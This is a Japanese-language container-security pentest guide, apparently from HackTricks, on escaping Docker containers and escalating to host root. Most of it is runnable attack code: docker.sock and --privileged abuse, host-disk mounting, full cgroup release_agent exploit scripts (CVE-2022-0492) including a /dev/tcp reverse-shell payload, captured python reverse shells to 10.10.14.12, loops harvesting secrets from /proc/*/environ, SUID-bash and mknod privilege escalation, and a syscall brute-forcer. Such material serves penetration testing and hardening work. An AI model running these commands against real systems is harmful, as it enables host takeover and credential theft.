Docker Breakout / Privilege Escalation

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自動列挙とエスケープ

• linpeas: コンテナを列挙することもできます
• CDK: このツールは、あなたがいるコンテナを列挙し、自動的にエスケープを試みるのに非常に便利です
• amicontained: コンテナが持つ権限を取得し、そこからエスケープする方法を見つけるのに役立つツール
• deepce: コンテナから列挙し、エスケープするためのツール
• grype: 画像にインストールされているソフトウェアに含まれるCVEを取得します

マウントされたDockerソケットエスケープ

もし何らかの理由でdockerソケットがコンテナ内にマウントされていることがわかれば、そこからエスケープすることができます。
これは通常、何らかの理由でアクションを実行するためにdockerデーモンに接続する必要があるdockerコンテナで発生します。

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

Dockerデーモンは、ポートでリッスンしている場合もあります（デフォルトは2375、2376） または、Systemdベースのシステムでは、Systemdソケットfd://を介してDockerデーモンと通信できます。

Capabilities Abuse Escape

コンテナの能力を確認する必要があります。以下のいずれかを持っている場合、そこから脱出できる可能性があります：CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_SYS_MODULE、DAC_READ_SEARCH、DAC_OVERRIDE、CAP_SYS_RAWIO、CAP_SYSLOG、CAP_NET_RAW、CAP_NET_ADMIN

現在のコンテナの能力は、前述の自動ツールを使用するか、次の方法で確認できます：

capsh --print

以下のページでは、Linuxの能力について詳しく学び、それを悪用して特権を逃れたり昇格させたりする方法を学ぶことができます：

Linux Capabilities

特権コンテナからの脱出

特権コンテナは、フラグ --privileged を使用するか、特定の防御を無効にすることで作成できます：

• --cap-add=ALL
• --security-opt apparmor=unconfined
• --security-opt seccomp=unconfined
• --security-opt label:disable
• --pid=host
• --userns=host
• --uts=host
• --cgroupns=host
• Mount /dev

--privileged フラグはコンテナのセキュリティを大幅に低下させ、制限のないデバイスアクセスを提供し、いくつかの保護を回避します。詳細な内訳については、--privileged の完全な影響に関するドキュメントを参照してください。

Docker --privileged

特権 + hostPID

これらの権限を使用すると、単にホストでルートとして実行されているプロセスの名前空間に移動することができます。例えば、init (pid:1) に対して、次のコマンドを実行します：nsenter --target 1 --mount --uts --ipc --net --pid -- bash

コンテナ内で次のようにテストしてください：

docker run --rm -it --pid=host --privileged ubuntu bash

特権

特権フラグを使用するだけで、ホストのディスクにアクセスしたり、release_agentや他のエスケープを悪用してエスケープを試みたりすることができます。

次のバイパスをコンテナで実行してテストしてください:

docker run --rm -it --privileged ubuntu bash

ディスクのマウント - Poc1

適切に構成されたdockerコンテナでは、fdisk -lのようなコマンドは許可されません。しかし、--privilegedまたは--device=/dev/sda1のフラグが指定された誤った構成のdockerコマンドでは、ホストドライブを見るための権限を取得することが可能です。

したがって、ホストマシンを乗っ取ることは簡単です：

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

そして、これで！ホストのファイルシステムにアクセスできるようになりました。これは /mnt/hola フォルダーにマウントされています。

ディスクのマウント - Poc2

コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基盤となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃者ベクターを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です：

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

特権エスケープ 既存の release_agent を悪用する (cve-2022-0492) - PoC1

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

特権エスケープ created release_agent の悪用 (cve-2022-0492) - PoC2

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Docker release_agent cgroups escape

特権エスケープ release_agentを相対パスを知らずに悪用する - PoC3

前のエクスプロイトでは、ホストのファイルシステム内のコンテナの絶対パスが開示されます。しかし、これは常に当てはまるわけではありません。ホスト内のコンテナの絶対パスがわからない場合は、この技術を使用できます：

release_agent exploit - Relative Paths to PIDs

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

特権コンテナ内でPoCを実行すると、次のような出力が得られるはずです：

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

特権エスケープ：センシティブマウントの悪用

マウントされる可能性のあるファイルがいくつかあり、これらは基盤となるホストに関する情報を提供します。中には、何かが発生したときにホストによって実行されるべき何かを示すものもあります（これにより攻撃者はコンテナからエスケープすることが可能になります）。
これらのファイルの悪用により、以下のことが可能になる場合があります：

• release_agent（以前に説明済み）
• binfmt_misc
• core_pattern
• uevent_helper
• modprobe

ただし、このページで確認すべき他のセンシティブファイルを見つけることができます：

Sensitive Mounts

任意のマウント

いくつかの状況では、コンテナがホストからいくつかのボリュームをマウントしていることがわかります。このボリュームが正しく構成されていない場合、センシティブデータにアクセス/変更することができるかもしれません：秘密情報を読み取ったり、sshのauthorized_keysを変更したり…

docker run --rm -it -v /:/host ubuntu bash

別の興味深い例はこのブログに見られ、ホストの/usr/bin/および/bin/フォルダーがコンテナ内にマウントされているため、コンテナのルートユーザーがこれらのフォルダー内のバイナリを変更できることが示されています。したがって、cronジョブがそこからのバイナリを使用している場合、例えば/etc/cron.d/popularity-contestのように、cronジョブによって使用されるバイナリを変更することでコンテナから脱出することができます。

2つのシェルとホストマウントを使用した特権昇格

ホストからマウントされたフォルダーを持つコンテナ内のrootとしてアクセスがあり、非特権ユーザーとしてホストに脱出し、マウントされたフォルダーに対する読み取りアクセスがある場合、
コンテナ内のマウントされたフォルダーにbash suidファイルを作成し、ホストから実行して特権昇格を行うことができます。

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

特権昇格と2つのシェル

コンテナ内でrootとしてアクセスでき、非特権ユーザーとしてホストにエスケープした場合、コンテナ内でMKNODの権限がある限り（デフォルトで持っています）、両方のシェルを利用してホスト内での特権昇格を行うことができます（詳細はこの投稿を参照）。
この権限を持つことで、コンテナ内のrootユーザーはブロックデバイスファイルを作成することが許可されます。デバイスファイルは、基盤となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイルです。例えば、/dev/sdaのブロックデバイスファイルは、システムディスク上の生データを読み取るためのアクセスを提供します。

Dockerは、コンテナ内でのブロックデバイスの誤用を防ぐために、ブロックデバイスの読み書き操作をブロックするcgroupポリシーを強制しています。それにもかかわらず、ブロックデバイスがコンテナ内で作成されると、それは**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセス可能になります。このアクセスには、プロセスの所有者がコンテナ内外で同じである必要があります。

悪用の例は、この書き込みからのものです：

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$

# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

ホストのプロセスにアクセスできる場合、そのプロセスに保存されている多くの機密情報にアクセスできるようになります。テストラボを実行してください：

docker run --rm -it --pid=host ubuntu bash

例えば、ps auxnのようなコマンドを使用してプロセスをリストし、コマンド内の機密情報を検索することができます。

次に、/proc/内のホストの各プロセスにアクセスできるため、envシークレットを盗むことができます。

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

他のプロセスのファイルディスクリプタにアクセスして、オープンしているファイルを読み取ることもできます。

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

プロセスを終了させてDoSを引き起こすこともできます。

hostNetwork

docker run --rm -it --network=host ubuntu bash

コンテナがDocker ホストネットワーキングドライバー（--network=host） で構成されている場合、そのコンテナのネットワークスタックはDockerホストから隔離されておらず（コンテナはホストのネットワーキングネームスペースを共有します）、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、コンテナはすべてのサービスをホストのIPに直接バインドします。さらに、コンテナはホストが送受信しているすべてのネットワークトラフィックを傍受することができます。共有インターフェース tcpdump -i eth0 を使用します。

例えば、これを使用してホストとメタデータインスタンス間のトラフィックを傍受し、さらには偽装することができます。

以下の例のように：

• Writeup: How to contact Google SRE: Dropping a shell in cloud SQL
• Metadata service MITM allows root privilege escalation (EKS / GKE)

ホスト内のlocalhostにバインドされたネットワークサービスにもアクセスできるようになり、さらにはノードのメタデータ権限（コンテナがアクセスできるものとは異なる場合があります）にもアクセスできます。

hostIPC

docker run --rm -it --ipc=host ubuntu bash

hostIPC=trueを設定すると、ホストのプロセス間通信（IPC）リソース、例えば/dev/shmの共有メモリにアクセスできます。これにより、他のホストやポッドプロセスが使用している同じIPCリソースに対して読み書きが可能になります。これらのIPCメカニズムをさらに調査するには、ipcsを使用してください。

• /dev/shmを調査 - この共有メモリの場所にあるファイルを探します: ls -la /dev/shm
• 既存のIPC施設を調査 – /usr/bin/ipcsを使用して、使用中のIPC施設があるか確認できます。次のコマンドで確認してください: ipcs -a

権限を回復する

もしシステムコール**unshare**が禁止されていなければ、次のコマンドを実行してすべての権限を回復できます:

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

ユーザー名前空間のシンボリックリンクを利用した悪用

投稿で説明されている2番目の技術は、https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ に示されており、ユーザー名前空間を使用してバインドマウントを悪用し、ホスト内のファイルに影響を与える方法（この特定のケースでは、ファイルを削除する）を示しています。

CVE

Runcの脆弱性 (CVE-2019-5736)

docker execをrootとして実行できる場合（おそらくsudoを使用して）、CVE-2019-5736を悪用してコンテナからエスケープし、特権を昇格させようとします（エクスプロイトはこちら）。この技術は基本的に、コンテナからホストの /bin/sh バイナリを上書きするため、docker execを実行する誰もがペイロードをトリガーする可能性があります。

ペイロードを適宜変更し、go build main.goでmain.goをビルドします。生成されたバイナリは、実行のためにdockerコンテナに配置する必要があります。
実行時に[+] Overwritten /bin/sh successfullyと表示されたら、ホストマシンから以下を実行する必要があります：

docker exec -it <container-name> /bin/sh

これにより、main.goファイルに存在するペイロードがトリガーされます。

詳細については、https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.htmlをご覧ください。

Dockerカスタムエスケープ

Dockerエスケープサーフェス

• 名前空間: プロセスは名前空間を介して他のプロセスから完全に分離されるべきであり、デフォルトではIPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの/procを介して通信できません。
• ルートユーザー: デフォルトでは、プロセスを実行しているユーザーはルートユーザーです（ただし、その特権は制限されています）。
• 能力: Dockerは以下の能力を残します: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
• システムコール: これらはルートユーザーが呼び出すことができないシステムコールです（能力が不足しているため + Seccomp）。他のシステムコールはエスケープを試みるために使用される可能性があります。

0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf

{{#endtab}}

{{#tab name="arm64 syscalls"}}

0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

{{#endtab}}

{{#tab name="syscall_bf.c"}}

// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```